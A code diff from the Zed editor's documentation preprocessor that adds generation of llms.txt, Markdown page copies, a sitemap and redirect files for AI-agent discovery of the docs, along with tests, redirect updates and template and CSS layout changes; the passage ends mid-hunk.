+        let destination = destination.join(&page.source_path);
+        if let Some(parent) = destination.parent() {
+            std::fs::create_dir_all(parent).with_context(|| {
+                format!("failed to create markdown destination {}", parent.display())
+            })?;
+        }
+        let contents = rewrite_docs_links(&markdown_source_contents(&page.content), site_url);
+        std::fs::write(
+            &destination,
+            add_llms_markdown_directive(&contents, site_url),
+        )
+        .with_context(|| {
+            format!(
+                "failed to write markdown page {} to {}",
+                page.source_path.display(),
+                destination.display()
+            )
+        })?;
+    }
+    let getting_started = destination.join("getting-started.md");
+    if getting_started.exists() {
+        std::fs::copy(&getting_started, destination.join("index.md"))
+            .context("failed to write index.md markdown alias")?;
+    }
+    Ok(())
+}
+
+fn markdown_source_contents(contents: &str) -> String {
+    front_matter_comment_regex()
+        .replace(contents, "")
+        .trim_start()
+        .to_string()
+}
+
+fn docs_page_description(contents: &str) -> Option<String> {
+    docs_page_metadata(contents).and_then(|metadata| {
+        metadata
+            .get("description")
+            .map(|description| {
+                description
+                    .trim()
+                    .trim_matches('"')
+                    .split_whitespace()
+                    .collect::<Vec<_>>()
+                    .join(" ")
+            })
+            .filter(|description| !description.is_empty())
+    })
+}
+
+fn docs_page_metadata(contents: &str) -> Option<HashMap<String, String>> {
+    let captures = front_matter_comment_regex().captures(contents)?;
+    serde_json::from_str(&captures[1]).ok()
+}
+
+fn front_matter_comment_regex() -> &'static Regex {
+    static FRONT_MATTER_COMMENT_REGEX: OnceLock<Regex> = OnceLock::new();
+    FRONT_MATTER_COMMENT_REGEX
+        .get_or_init(|| Regex::new(&FRONT_MATTER_COMMENT.replace("{}", "([^\\n]*)")).unwrap())
+}
+
+fn write_llms_txt(destination: &Path, site_url: &str, pages: &[DocsPage]) -> Result<()> {
+    let mut contents = String::new();
+    contents.push_str("# Zed Docs\n\n");
+    contents.push_str(
+        "> Official Zed documentation index with links to Markdown versions of each docs page.\n\n",
+    );
+    contents.push_str(
+        "Use these links for concise Markdown copies of Zed documentation pages. Each linked page mirrors the corresponding `/docs/*.html` page without site navigation or styling.\n\n",
+    );
+    let mut current_section = None;
+    for page in pages {
+        if current_section != Some(page.section.as_str()) {
+            if current_section.is_some() {
+                contents.push('\n');
+            }
+            contents.push_str("## ");
+            contents.push_str(&markdown_text(&page.section));
+            contents.push_str("\n\n");
+            current_section = Some(page.section.as_str());
+        }
+        contents.push_str("- [");
+        contents.push_str(&markdown_text(&page.title));
+        contents.push_str("](");
+        contents.push_str(&absolute_docs_url(site_url, &page.source_path));
+        contents.push(')');
+        if let Some(description) = &page.description {
+            contents.push_str(": ");
+            contents.push_str(&markdown_text(description));
+        }
+        contents.push('\n');
+    }
+    std::fs::write(destination.join("llms.txt"), contents).context("failed to write llms.txt")?;
+    Ok(())
+}
+
+fn markdown_text(text: &str) -> String {
+    text.replace('\\', "\\\\")
+        .replace('[', "\\[")
+        .replace(']', "\\]")
+}
+
+fn write_sitemap_xml(destination: &Path, site_url: &str, pages: &[DocsPage]) -> Result<()> {
+    let mut contents = String::new();
+    contents.push_str("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
+    contents.push_str("<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n");
+    for page in pages {
+        contents.push_str("  <url><loc>");
+        contents.push_str(&xml_escape(&absolute_docs_url(
+            site_url,
+            &page.source_path.with_extension("html"),
+        )));
+        contents.push_str("</loc>");
+        contents.push_str("</url>\n");
+    }
+    contents.push_str("</urlset>\n");
+    std::fs::write(destination.join("sitemap.xml"), contents)
+        .context("failed to write sitemap.xml")?;
+    Ok(())
+}
+
+pub(crate) fn write_pages_redirects(
+    destination: &Path,
+    redirects: &[(String, String)],
+    site_url: &str,
+) -> Result<()> {
+    let Some(deploy_root) = destination.parent() else {
+        return Ok(());
+    };
+    let mut contents = String::new();
+    for (source, destination) in redirects {
+        write_redirect_line(
+            &mut contents,
+            &docs_path("/docs/", source),
+            &redirect_destination(site_url, destination),
+        );
+        if let Some(extensionless_source) = strip_html_suffix(source) {
+            write_redirect_line(
+                &mut contents,
+                &docs_path("/docs/", &extensionless_source),
+                &redirect_destination(
+                    site_url,
+                    &strip_html_suffix(destination).unwrap_or_else(|| destination.to_string()),
+                ),
+            );
+        }
+        if let Some(markdown_source) = html_path_to_markdown(source) {
+            if let Some(markdown_destination) = html_path_to_markdown(destination) {
+                write_redirect_line(
+                    &mut contents,
+                    &docs_path("/docs/", &markdown_source),
+                    &redirect_destination(site_url, &markdown_destination),
+                );
+            }
+        }
+    }
+    std::fs::write(deploy_root.join("_redirects"), contents)
+        .context("failed to write Cloudflare Pages _redirects")?;
+    Ok(())
+}
+
+pub(crate) fn write_markdown_redirect_aliases(
+    destination: &Path,
+    redirects: &[(String, String)],
+    site_url: &str,
+) -> Result<()> {
+    for (source, redirect_destination_path) in redirects {
+        let Some(source_markdown) = html_path_to_markdown(source) else {
+            continue;
+        };
+        let Some(destination_markdown) = html_path_to_markdown(redirect_destination_path) else {
+            continue;
+        };
+        let source_markdown = destination.join(source_markdown.trim_start_matches('/'));
+        let destination_markdown =
+            destination.join(destination_markdown.trim_start_matches("/docs/"));
+        if !destination_markdown.exists() {
+            continue;
+        }
+        if let Some(parent) = source_markdown.parent() {
+            std::fs::create_dir_all(parent).with_context(|| {
+                format!(
+                    "failed to create markdown alias directory {}",
+                    parent.display()
+                )
+            })?;
+        }
+        let contents = format!(
+            "# Moved\n\n> For the complete documentation index and Markdown links, see [llms.txt]({}).\n\nThis page moved to [the current docs page]({}).\n",
+            docs_url(site_url, Path::new("llms.txt")),
+            html_path_to_markdown(redirect_destination_path)
+                .map(|path| redirect_destination(site_url, &path))
+                .unwrap_or_else(|| redirect_destination(site_url, redirect_destination_path))
+        );
+        std::fs::write(&source_markdown, contents).with_context(|| {
+            format!(
+                "failed to write markdown redirect alias from {} to {}",
+                redirect_destination_path,
+                source_markdown.display()
+            )
+        })?;
+    }
+    Ok(())
+}
+
+fn write_redirect_line(contents: &mut String, source: &str, destination: &str) {
+    contents.push_str(source);
+    contents.push(' ');
+    contents.push_str(destination);
+    contents.push_str(" 301\n");
+}
+
+fn docs_path(site_url: &str, path: &str) -> String {
+    docs_url(site_url, Path::new(path.trim_start_matches('/')))
+}
+
+fn redirect_destination(site_url: &str, destination: &str) -> String {
+    if let Some(path) = destination.strip_prefix("/docs/") {
+        docs_url(site_url, Path::new(path))
+    } else if destination == "/docs" {
+        docs_url(site_url, Path::new(""))
+    } else {
+        destination.to_string()
+    }
+}
+
+fn strip_html_suffix(path: &str) -> Option<String> {
+    let (path, fragment) = split_fragment(path);
+    let path = path.strip_suffix(".html")?;
+    Some(format!("{path}{fragment}"))
+}
+
+fn html_path_to_markdown(path: &str) -> Option<String> {
+    let (path, fragment) = split_fragment(path);
+    if !path.starts_with("/docs/") && path != "/docs" && !path.ends_with(".html") {
+        return None;
+    }
+    let markdown_path = path.strip_suffix(".html").unwrap_or(path);
+    Some(format!("{markdown_path}.md{fragment}"))
+}
+
+fn split_fragment(path: &str) -> (&str, &str) {
+    match path.find('#') {
+        Some(index) => (&path[..index], &path[index..]),
+        None => (path, ""),
+    }
+}
+
+pub(crate) fn rewrite_docs_links(contents: &str, site_url: &str) -> String {
+    const STABLE_DOCS_PREFIX: &str = "https://zed.dev/docs/";
+    let channel_docs_prefix = absolute_docs_url(site_url, Path::new(""));
+    if channel_docs_prefix == STABLE_DOCS_PREFIX {
+        return contents.to_string();
+    }
+
+    let mut output = String::with_capacity(contents.len());
+    let mut remaining = contents;
+    while let Some(index) = remaining.find(STABLE_DOCS_PREFIX) {
+        output.push_str(&remaining[..index]);
+        let after_prefix = &remaining[index + STABLE_DOCS_PREFIX.len()..];
+        if after_prefix.starts_with("preview/") || after_prefix.starts_with("nightly/") {
+            output.push_str(STABLE_DOCS_PREFIX);
+        } else {
+            output.push_str(&channel_docs_prefix);
+        }
+        remaining = after_prefix;
+    }
+    output.push_str(remaining);
+    output
+}
+
+pub(crate) fn add_markdown_alternate_link(
+    contents: &str,
+    html_file: &Path,
+    root_dir: &Path,
+    site_url: &str,
+) -> String {
+    let Ok(relative_path) = html_file.strip_prefix(root_dir) else {
+        return contents.to_string();
+    };
+    let markdown_path = relative_path.with_extension("md");
+    if !root_dir.join(&markdown_path).exists() {
+        return contents.to_string();
+    }
+    let markdown_url = docs_url(site_url, &markdown_path);
+    let link = format!(
+        "        <link rel=\"alternate\" type=\"text/markdown\" href=\"{}\">\n",
+        markdown_url
+    );
+    contents.replacen("</head>", &(link + "    </head>"), 1)
+}
+
+fn add_llms_markdown_directive(contents: &str, site_url: &str) -> String {
+    let directive = format!(
+        "> For the complete documentation index and Markdown links, see [llms.txt]({}).\n\n",
+        docs_url(site_url, Path::new("llms.txt")),
+    );
+    if let Some(rest) = contents.strip_prefix("---\n") {
+        if let Some(frontmatter_end) = rest.find("\n---\n") {
+            let split_at = "---\n".len() + frontmatter_end + "\n---\n".len();
+            let mut output = String::with_capacity(contents.len() + directive.len());
+            output.push_str(&contents[..split_at]);
+            output.push('\n');
+            output.push_str(&directive);
+            output.push_str(&contents[split_at..]);
+            return output;
+        }
+    }
+
+    let mut output = String::with_capacity(contents.len() + directive.len());
+    output.push_str(&directive);
+    output.push_str(contents);
+    output
+}
+
+fn docs_url(site_url: &str, path: &Path) -> String {
+    let mut url = site_url.to_string();
+    if !url.ends_with('/') {
+        url.push('/');
+    }
+    url.push_str(&path.to_string_lossy().replace('\\', "/"));
+    url
+}
+
+fn absolute_docs_url(site_url: &str, path: &Path) -> String {
+    let url = docs_url(site_url, path);
+    if url.starts_with("http://") || url.starts_with("https://") {
+        url
+    } else {
+        format!("https://zed.dev{}", url)
+    }
+}
+
+fn xml_escape(value: &str) -> String {
+    value
+        .replace('&', "&amp;")
+        .replace('<', "&lt;")
+        .replace('>', "&gt;")
+        .replace('"', "&quot;")
+        .replace('\'', "&apos;")
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_add_llms_markdown_directive_inserts_after_frontmatter() {
+        let contents = "---\ntitle: Example\n---\n# Example\n";
+        let output = add_llms_markdown_directive(contents, "/docs/");
+
+        assert!(output.starts_with("---\ntitle: Example\n---\n\n"));
+        assert!(output.contains(
+            "> For the complete documentation index and Markdown links, see [llms.txt](/docs/llms.txt)."
+        ));
+    }
+
+    #[test]
+    fn test_redirect_destination_uses_channel_site_url_for_docs_paths() {
+        assert_eq!(
+            redirect_destination("/docs/preview/", "/docs/ai/overview.html"),
+            "/docs/preview/ai/overview.html"
+        );
+        assert_eq!(
+            redirect_destination("/docs/preview/", "/community-links"),
+            "/community-links"
+        );
+    }
+
+    #[test]
+    fn test_rewrite_docs_links_uses_channel_site_url() {
+        assert_eq!(
+            rewrite_docs_links(
+                "See [Code Actions](https://zed.dev/docs/configuring-languages#code-actions) and [Preview](https://zed.dev/docs/preview/ai/overview.html).",
+                "/docs/preview/"
+            ),
+            "See [Code Actions](https://zed.dev/docs/preview/configuring-languages#code-actions) and [Preview](https://zed.dev/docs/preview/ai/overview.html)."
+        );
+    }
+
+    #[test]
+    fn test_docs_path_uses_channel_site_url() {
+        assert_eq!(
+            docs_path("/docs/preview/", "/assistant.md"),
+            "/docs/preview/assistant.md"
+        );
+    }
+
+    #[test]
+    fn test_write_pages_redirects_keeps_sources_on_internal_pages_path() -> Result<()> {
+        let deploy_root = std::env::temp_dir().join(format!(
+            "docs_preprocessor_pages_redirects_test_{}_{}",
+            std::process::id(),
+            std::time::SystemTime::now()
+                .duration_since(std::time::UNIX_EPOCH)?
+                .as_nanos()
+        ));
+        let destination = deploy_root.join("docs");
+        std::fs::create_dir_all(&destination)?;
+        let redirects = vec![
+            (
+                "/assistant.html".to_string(),
+                "/docs/ai/overview.html".to_string(),
+            ),
+            (
+                "/community/feedback.html".to_string(),
+                "/community-links".to_string(),
+            ),
+        ];
+
+        write_pages_redirects(&destination, &redirects, "/docs/preview/")?;
+
+        assert_eq!(
+            std::fs::read_to_string(deploy_root.join("_redirects"))?,
+            "/docs/assistant.html /docs/preview/ai/overview.html 301\n\
+/docs/assistant /docs/preview/ai/overview 301\n\
+/docs/assistant.md /docs/preview/ai/overview.md 301\n\
+/docs/community/feedback.html /community-links 301\n\
+/docs/community/feedback /community-links 301\n"
+        );
+        std::fs::remove_dir_all(&deploy_root)?;
+        Ok(())
+    }
+
+    #[test]
+    fn test_write_ai_discovery_artifacts_generates_agent_facing_metadata() -> Result<()> {
+        let destination = std::env::temp_dir().join(format!(
+            "docs_preprocessor_ai_discovery_test_{}_{}",
+            std::process::id(),
+            std::time::SystemTime::now()
+                .duration_since(std::time::UNIX_EPOCH)?
+                .as_nanos()
+        ));
+        std::fs::create_dir_all(&destination)?;
+
+        let pages = vec![
+            DocsPage {
+                section: "Docs".to_string(),
+                title: "Getting Started".to_string(),
+                description: Some("Start using Zed.".to_string()),
+                source_path: PathBuf::from("getting-started.md"),
+                content: format!(
+                    "{}\n# Getting Started\n",
+                    FRONT_MATTER_COMMENT.replace("{}", r#"{"description":"Start using Zed."}"#)
+                ),
+            },
+            DocsPage {
+                section: "AI".to_string(),
+                title: "MCP".to_string(),
+                description: Some("Connect model context servers.".to_string()),
+                source_path: PathBuf::from("ai/mcp.md"),
+                content: format!(
+                    "{}\n# MCP\n",
+                    FRONT_MATTER_COMMENT
+                        .replace("{}", r#"{"description":"Connect model context servers."}"#)
+                ),
+            },
+        ];
+
+        write_ai_discovery_artifacts(&pages, &destination, "/docs/")?;
+
+        let llms_txt = std::fs::read_to_string(destination.join("llms.txt"))?;
+        assert!(llms_txt.contains("## Docs"));
+        assert!(llms_txt.contains(
+            "- [Getting Started](https://zed.dev/docs/getting-started.md): Start using Zed."
+        ));
+        assert!(llms_txt.contains("## AI"));
+        assert!(
+            llms_txt.contains(
+                "- [MCP](https://zed.dev/docs/ai/mcp.md): Connect model context servers."
+            )
+        );
+
+        let sitemap_xml = std::fs::read_to_string(destination.join("sitemap.xml"))?;
+        assert!(sitemap_xml.contains("<loc>https://zed.dev/docs/getting-started.html</loc>"));
+        assert!(sitemap_xml.contains("<loc>https://zed.dev/docs/ai/mcp.html</loc>"));
+
+        let mcp_markdown = std::fs::read_to_string(destination.join("ai/mcp.md"))?;
+        assert!(mcp_markdown.starts_with(
+            "> For the complete documentation index and Markdown links, see [llms.txt](/docs/llms.txt).\n\n# MCP"
+        ));
+        assert!(!mcp_markdown.contains("ZED_META"));
+
+        let index_markdown = std::fs::read_to_string(destination.join("index.md"))?;
+        assert!(index_markdown.contains("# Getting Started"));
+
+        std::fs::remove_dir_all(&destination)?;
+        Ok(())
+    }
+}
diff --git a/crates/docs_preprocessor/src/main.rs b/crates/docs_preprocessor/src/main.rs
index df3b556d6a47ca..4b0c2ca04bcb90 100644
--- a/crates/docs_preprocessor/src/main.rs
+++ b/crates/docs_preprocessor/src/main.rs
@@ -1,4 +1,10 @@
 use anyhow::{Context, Result};
+mod ai_discovery;
+
+use ai_discovery::{
+    add_markdown_alternate_link, docs_pages, rewrite_docs_links, write_ai_discovery_artifacts,
+    write_markdown_redirect_aliases, write_pages_redirects,
+};
 use mdbook::BookItem;
 use mdbook::book::{Book, Chapter};
 use mdbook::preprocess::CmdPreprocessor;
@@ -188,7 +194,7 @@ fn handle_preprocessing() -> Result<()> {
     template_big_table_of_actions(&mut book);
     template_and_validate_keybindings(&mut book, &mut errors);
     template_and_validate_actions(&mut book, &mut errors);
-    template_and_validate_json_snippets(&mut book, &mut errors);
+    template_and_validate_json_snippets(&mut book, &mut errors)?;
 
     if !errors.is_empty() {
         const ANSI_RED: &str = "\x1b[31m";
@@ -252,7 +258,7 @@ fn format_binding(binding: String) -> String {
 }
 
 fn template_and_validate_keybindings(book: &mut Book, errors: &mut HashSet<PreprocessorError>) {
-    let regex = Regex::new(r"\{#kb(?::(\w+))?\s+(.*?)\}").unwrap();
+    let regex = Regex::new(r"(?s)\{#kb(?::(\w+))?\s+(.*?)\}").unwrap();
 
     for_each_chapter_mut(book, |chapter| {
         chapter.content = regex
@@ -300,7 +306,7 @@ fn template_and_validate_keybindings(book: &mut Book, errors: &mut HashSet<Prepr
 }
 
 fn template_and_validate_actions(book: &mut Book, errors: &mut HashSet<PreprocessorError>) {
-    let regex = Regex::new(r"\{#action (.*?)\}").unwrap();
+    let regex = Regex::new(r"(?s)\{#action\s+(.*?)\}").unwrap();
 
     for_each_chapter_mut(book, |chapter| {
         chapter.content = regex
@@ -379,7 +385,10 @@ fn find_binding_with_overlay(
         .or_else(|| find_binding(os, action))
 }
 
-fn template_and_validate_json_snippets(book: &mut Book, errors: &mut HashSet<PreprocessorError>) {
+fn template_and_validate_json_snippets(
+    book: &mut Book,
+    errors: &mut HashSet<PreprocessorError>,
+) -> Result<()> {
     let params = SettingsJsonSchemaParams {
         language_names: &[],
         font_names: &[],
@@ -393,7 +402,7 @@ fn template_and_validate_json_snippets(book: &mut Book, errors: &mut HashSet<Pre
     };
     let settings_schema = SettingsStore::json_schema(&params);
     let settings_validator = jsonschema::validator_for(&settings_schema)
-        .expect("failed to compile settings JSON schema");
+        .context("failed to compile settings JSON schema")?;
 
     // The keymap schema is built from the action manifest. When `actions.json`
     // is unavailable (e.g. when running outside of CI without first generating
@@ -405,7 +414,7 @@ fn template_and_validate_json_snippets(book: &mut Book, errors: &mut HashSet<Pre
             keymap_schema_for_actions(&ALL_ACTIONS.actions, &ALL_ACTIONS.schema_definitions);
         Some(
             jsonschema::validator_for(&keymap_schema)
-                .expect("failed to compile keymap JSON schema"),
+                .context("failed to compile keymap JSON schema")?,
         )
     } else {
         None
@@ -568,6 +577,8 @@ fn template_and_validate_json_snippets(book: &mut Book, errors: &mut HashSet<Pre
         };
         Ok(())
     });
+
+    Ok(())
 }
 
 /// Removes any configurable options from the stringified action if existing,
@@ -679,6 +690,19 @@ fn handle_postprocessing() -> Result<()> {
         .as_table_mut()
         .expect("output is table");
     let zed_html = output.remove("zed-html").expect("zed-html output defined");
+    let redirects = zed_html
+        .get("redirect")
+        .and_then(|redirects| redirects.as_table())
+        .map(|redirects| {
+            redirects
+                .iter()
+                .filter_map(|(source, destination)| {
+                    destination
+                        .as_str()
+                        .map(|destination| (source.clone(), destination.to_string()))
+                })
+                .collect::<Vec<_>>()
+        });
     let default_description = zed_html
         .get("default-description")
         .expect("Default description not found")
@@ -694,6 +718,17 @@ fn handle_postprocessing() -> Result<()> {
     let amplitude_key = std::env::var("DOCS_AMPLITUDE_API_KEY").unwrap_or_default();
     let consent_io_instance = std::env::var("DOCS_CONSENT_IO_INSTANCE").unwrap_or_default();
     let docs_channel = std::env::var("DOCS_CHANNEL").unwrap_or_else(|_| "stable".to_string());
+    let site_url = std::env::var("MDBOOK_BOOK__SITE_URL")
+        .ok()
+        .filter(|site_url| !site_url.trim().is_empty())
+        .unwrap_or_else(|| {
+            match docs_channel.as_str() {
+                "nightly" => "/docs/nightly/",
+                "preview" => "/docs/preview/",
+                _ => "/docs/",
+            }
+            .to_string()
+        });
     let noindex = if docs_channel == "nightly" || docs_channel == "preview" {
         "<meta name=\"robots\" content=\"noindex, nofollow\">"
     } else {
@@ -733,8 +768,10 @@ fn handle_postprocessing() -> Result<()> {
     }
 
     zlog::info!(logger => "Processing {} `.html` files", files.len());
+    let pages = docs_pages(&ctx.book)?;
+    write_ai_discovery_artifacts(&pages, &root_dir, &site_url)?;
     let meta_regex = Regex::new(&FRONT_MATTER_COMMENT.replace("{}", "(.*)")).unwrap();
-    for file in files {
+    for file in &files {
         let contents = std::fs::read_to_string(&file)?;
         let mut meta_description = None;
         let mut meta_title = None;
@@ -770,14 +807,19 @@ fn handle_postprocessing() -> Result<()> {
         let contents = contents.replace("#amplitude_key#", &amplitude_key);
         let contents = contents.replace("#consent_io_instance#", &consent_io_instance);
         let contents = contents.replace("#noindex#", noindex);
+        let contents = rewrite_docs_links(&contents, &site_url);
+        let contents = add_markdown_alternate_link(&contents, file, &root_dir, &site_url);
         let contents = title_regex()
             .replace(&contents, |_: &regex::Captures| {
                 format!("<title>{}</title>", meta_title)
             })
             .to_string();
-        // let contents = contents.replace("#title#", &meta_title);
         std::fs::write(file, contents)?;
     }
+    if let Some(redirects) = redirects {
+        write_markdown_redirect_aliases(&root_dir, &redirects, &site_url)?;
+        write_pages_redirects(&root_dir, &redirects, &site_url)?;
+    }
     return Ok(());
 
     fn pretty_path<'a>(
@@ -906,66 +948,4 @@ fn keymap_schema_for_actions(
 }
 
 #[cfg(test)]
-mod tests {
-    use super::*;
-    use serde_json::json;
-
-    #[test]
-    fn test_find_binding_prefers_exact_match_over_parameterized() {
-        let keymap: KeymapFile = serde_json::from_value(json!([
-            {
-                "bindings": {
-                    "ctrl-tab": "agents_sidebar::ToggleThreadSwitcher",
-                    "ctrl-shift-tab": ["agents_sidebar::ToggleThreadSwitcher", { "select_last": true }]
-                }
-            }
-        ]))
-        .unwrap();
-
-        let binding = find_binding_in_keymap(&keymap, "agents_sidebar::ToggleThreadSwitcher");
-        assert_eq!(binding.as_deref(), Some("ctrl-tab"));
-    }
-
-    #[test]
-    fn test_find_binding_falls_back_to_parameterized_match() {
-        let keymap: KeymapFile = serde_json::from_value(json!([
-            {
-                "bindings": {
-                    "ctrl-shift-tab": ["agents_sidebar::ToggleThreadSwitcher", { "select_last": true }]
-                }
-            }
-        ]))
-        .unwrap();
-
-        let binding = find_binding_in_keymap(&keymap, "agents_sidebar::ToggleThreadSwitcher");
-        assert_eq!(binding.as_deref(), Some("ctrl-shift-tab"));
-    }
-
-    #[test]
-    fn test_find_binding_prefers_exact_match_regardless_of_order() {
-        let keymap: KeymapFile = serde_json::from_value(json!([
-            {
-                "bindings": {
-                    "ctrl-shift-tab": ["agents_sidebar::ToggleThreadSwitcher", { "select_last": true }],
-                    "ctrl-tab": "agents_sidebar::ToggleThreadSwitcher"
-                }
-            }
-        ]))
-        .unwrap();
-
-        let binding = find_binding_in_keymap(&keymap, "agents_sidebar::ToggleThreadSwitcher");
-        assert_eq!(binding.as_deref(), Some("ctrl-tab"));
-    }
-
-    #[test]
-    fn test_find_binding_later_section_overrides_earlier() {
-        let keymap: KeymapFile = serde_json::from_value(json!([
-            { "bindings": { "ctrl-a": "some::Action" } },
-            { "bindings": { "ctrl-b": "some::Action" } }
-        ]))
-        .unwrap();
-
-        let binding = find_binding_in_keymap(&keymap, "some::Action");
-        assert_eq!(binding.as_deref(), Some("ctrl-b"));
-    }
-}
+mod tests;
diff --git a/crates/docs_preprocessor/src/tests.rs b/crates/docs_preprocessor/src/tests.rs
new file mode 100644
index 00000000000000..43438207d8c600
--- /dev/null
+++ b/crates/docs_preprocessor/src/tests.rs
@@ -0,0 +1,61 @@
+use super::*;
+use serde_json::json;
+
+#[test]
+fn test_find_binding_prefers_exact_match_over_parameterized() {
+    let keymap: KeymapFile = serde_json::from_value(json!([
+        {
+            "bindings": {
+                "ctrl-tab": "agents_sidebar::ToggleThreadSwitcher",
+                "ctrl-shift-tab": ["agents_sidebar::ToggleThreadSwitcher", { "select_last": true }]
+            }
+        }
+    ]))
+    .unwrap();
+
+    let binding = find_binding_in_keymap(&keymap, "agents_sidebar::ToggleThreadSwitcher");
+    assert_eq!(binding.as_deref(), Some("ctrl-tab"));
+}
+
+#[test]
+fn test_find_binding_falls_back_to_parameterized_match() {
+    let keymap: KeymapFile = serde_json::from_value(json!([
+        {
+            "bindings": {
+                "ctrl-shift-tab": ["agents_sidebar::ToggleThreadSwitcher", { "select_last": true }]
+            }
+        }
+    ]))
+    .unwrap();
+
+    let binding = find_binding_in_keymap(&keymap, "agents_sidebar::ToggleThreadSwitcher");
+    assert_eq!(binding.as_deref(), Some("ctrl-shift-tab"));
+}
+
+#[test]
+fn test_find_binding_prefers_exact_match_regardless_of_order() {
+    let keymap: KeymapFile = serde_json::from_value(json!([
+        {
+            "bindings": {
+                "ctrl-shift-tab": ["agents_sidebar::ToggleThreadSwitcher", { "select_last": true }],
+                "ctrl-tab": "agents_sidebar::ToggleThreadSwitcher"
+            }
+        }
+    ]))
+    .unwrap();
+
+    let binding = find_binding_in_keymap(&keymap, "agents_sidebar::ToggleThreadSwitcher");
+    assert_eq!(binding.as_deref(), Some("ctrl-tab"));
+}
+
+#[test]
+fn test_find_binding_later_section_overrides_earlier() {
+    let keymap: KeymapFile = serde_json::from_value(json!([
+        { "bindings": { "ctrl-a": "some::Action" } },
+        { "bindings": { "ctrl-b": "some::Action" } }
+    ]))
+    .unwrap();
+
+    let binding = find_binding_in_keymap(&keymap, "some::Action");
+    assert_eq!(binding.as_deref(), Some("ctrl-b"));
+}
diff --git a/docs/book.toml b/docs/book.toml
index 2eed5f7907a668..e1a48d1f7f05f1 100644
--- a/docs/book.toml
+++ b/docs/book.toml
@@ -45,10 +45,10 @@ enable = false
 "/assistant.html" = "/docs/assistant/assistant.html"
 "/assistant/assistant-panel.html" = "/docs/ai/agent-panel.html"
 "/assistant/assistant.html" = "/docs/ai/overview.html"
-"/assistant/commands.html" = "/docs/ai/text-threads.html"
+"/assistant/commands.html" = "/docs/ai/agent-panel.html"
 "/assistant/configuration.html" = "/docs/ai/quick-start.html"
 "/assistant/context-servers.html" = "/docs/ai/mcp.html"
-"/assistant/contexts.html" = "/docs/ai/text-threads.html"
+"/assistant/contexts.html" = "/docs/ai/agent-panel.html"
 "/assistant/inline-assistant.html" = "/docs/ai/inline-assistant.html"
 "/assistant/model-context-protocol.html" = "/docs/ai/mcp.html"
 "/assistant/prompting.html" = "/docs/ai/skills.html"
diff --git a/docs/theme/css/chrome.css b/docs/theme/css/chrome.css
index 8f5b40cc19ecfd..f0169fd7c87f73 100644
--- a/docs/theme/css/chrome.css
+++ b/docs/theme/css/chrome.css
@@ -434,6 +434,7 @@ ul#searchresults span.teaser em {
 
 .sidebar {
   position: relative;
+  order: 0;
   width: var(--sidebar-width);
   flex-shrink: 0;
   display: flex;
diff --git a/docs/theme/css/general.css b/docs/theme/css/general.css
index 9c8077bad525da..d32edaa8d61ad7 100644
--- a/docs/theme/css/general.css
+++ b/docs/theme/css/general.css
@@ -201,6 +201,7 @@ hr {
 
 .page {
   outline: 0;
+  order: 1;
   flex: 1;
   display: flex;
   flex-direction: column;
diff --git a/docs/theme/index.hbs b/docs/theme/index.hbs
index 2c7786817aa2f1..d5e0b620051536 100644
--- a/docs/theme/index.hbs
+++ b/docs/theme/index.hbs
@@ -27,6 +27,7 @@
             })();
         </script>
         <title>{{ title }}</title>
+        <link rel="llms.txt" href="{{ path_to_root }}llms.txt">
         {{#if is_print }}
         <meta name="robots" content="noindex">
         {{/if}}
@@ -86,6 +87,9 @@
             document.body.classList.remove('no-js');
             document.body.classList.add('js');
         </script>
+        <div style="position: absolute; width: 1px; height: 1px; overflow: hidden; clip: rect(0 0 0 0); white-space: nowrap;">
+            Agent documentation index: <a href="{{ path_to_root }}llms.txt">llms.txt</a>. Markdown versions are available for docs pages.
+        </div>
 
         <header class="header-bar">
             <div class="left-container">
@@ -155,6 +159,95 @@
             </div>
             {{/if}}
 
+            <div class="page">
+                <div id="content" class="content">
+                    <main>
+                      {{{ content }}}
+                        <div class="footer-buttons">
+                            {{#previous}}
+                            <a rel="prev" href="{{ path_to_root }}{{link}}" class="footer-button" title="{{title}}">
+                                <i class="fa fa-angle-left"></i>
+                                {{title}}
+                            </a>
+                            {{/previous}}
+                            {{#next}}
+                            <a rel="next" href="{{ path_to_root }}{{link}}" class="footer-button" title="{{title}}">
+                                {{title}}
+                                <i class="fa fa-angle-right"></i>
+                            </a>
+                            {{/next}}
+                        </div>
+                        <footer class="footer">
+                            <a href="/" class="logo-nav">
+                                <img
+                                    src="https://zed.dev/logo_icon.webp"
+                                    class="footer-logo"
+                                    alt="Zed Industries"
+                                />
+                            </a>
+                            <span class="footer-separator">•</span>
+                            <a class="footer-link" href="https://zed.dev"
+                                >Back to Site</a
+                            >
+                            <span class="footer-separator">•</span>
+                            <a
+                                class="footer-link"
+                                href="https://zed.dev/releases"
+                                >Releases</a
+                            >
+                            <span class="footer-separator">•</span>
+                            <a
+                                class="footer-link"
+                                href="https://zed.dev/roadmap"
+                                >Roadmap</a
+                            >
+                            <span class="footer-separator">•</span>
+                            <a
+                                class="footer-link"
+                                href="https://github.com/zed-industries/zed"
+                                >GitHub</a
+                            >
+                            <span class="footer-separator">•</span>
+                            <a
+                                class="footer-link"
+                                href="https://zed.dev/blog"
+                                >Blog</a
+                            >
+                            <span class="footer-separator">•</span>
+                            <button
+                                id="c15t-manage-consent-btn"
+                                class="footer-link"
+                            >
+                                Manage Site Cookies
+                            </button>
+                        </footer>
+                    </main>
+                    <div class="toc-container">
+                        <nav class="pagetoc"></nav>
+                    </div>
+                    <!-- Immediately detect if page has headins that are not h1 to prevent flicker -->
+                    <script>
+                        (function() {
+                            var tocContainer = document.querySelector('.toc-container');
+                            var headers = document.querySelectorAll('.header');
+                            var hasNonH1Headers = false;
+                            for (var i = 0; i < headers.length; i++) {
+                                var parent = headers[i].parentElement;
+                                if (parent && !parent.tagName.toLowerCase().startsWith('h1')) {
+                                    hasNonH1Headers = true;
+                                    break;
+                                }
+                            }
+                            if (hasNonH1Headers) {
+                                tocContainer.classList.add('has-toc');
+                            } else {
+                                tocContainer.classList.add('no-toc');
+                            }
+                        })();
+                    </script>
+                </div>
+            </div>
+
             <nav id="sidebar" class="sidebar" aria-label="Table of contents">
                 <div class="sidebar-scrollbox">
                     {{#toc}}{{/toc}}
@@ -291,95 +384,6 @@
                     }
                 }
             </script>
-
-            <div class="page">
-                <div id="content" class="content">
-                    <main>
-                      {{{ content }}}
-                        <div class="footer-buttons">
-                            {{#previous}}
-                            <a rel="prev" href="{{ path_to_root }}{{link}}" class="footer-button" title="{{title}}">
-                                <i class="fa fa-angle-left"></i>
